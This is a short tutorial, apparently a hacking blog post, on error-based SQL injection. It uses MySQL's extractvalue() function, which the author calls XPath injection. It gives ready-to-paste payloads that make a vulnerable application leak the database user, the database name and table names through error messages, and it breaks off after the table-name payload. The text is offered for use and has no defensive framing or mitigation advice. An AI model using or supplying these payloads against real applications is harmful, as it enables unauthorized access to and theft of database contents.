SQL injection exploitation using XPath injection
SQL injection exploitation using XPath injection Pranaam to all bhai ji _/_ Today i am going to share XPath injection payloads for SQL injection exploitation. we will use extractvalue() of SQL which is XML function. so lets start... First of all, necessary condition is, vulnerable application should display MySQL server error in case query is wrong. means, when you add , " or in parameter, application should display MySQL error. Payload for extracting SQL user ====================== and extractvalue(6678,concat(0x7e,(select user() ),0x7e ))-- - Payload for extracting database name ========================= and extractvalue(6678,concat(0x7e,(select database() ),0x7e ))-- - Payload for extracting Table name ======================= Below payload will extract first table name from current table name and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- - for extraction of next table name ...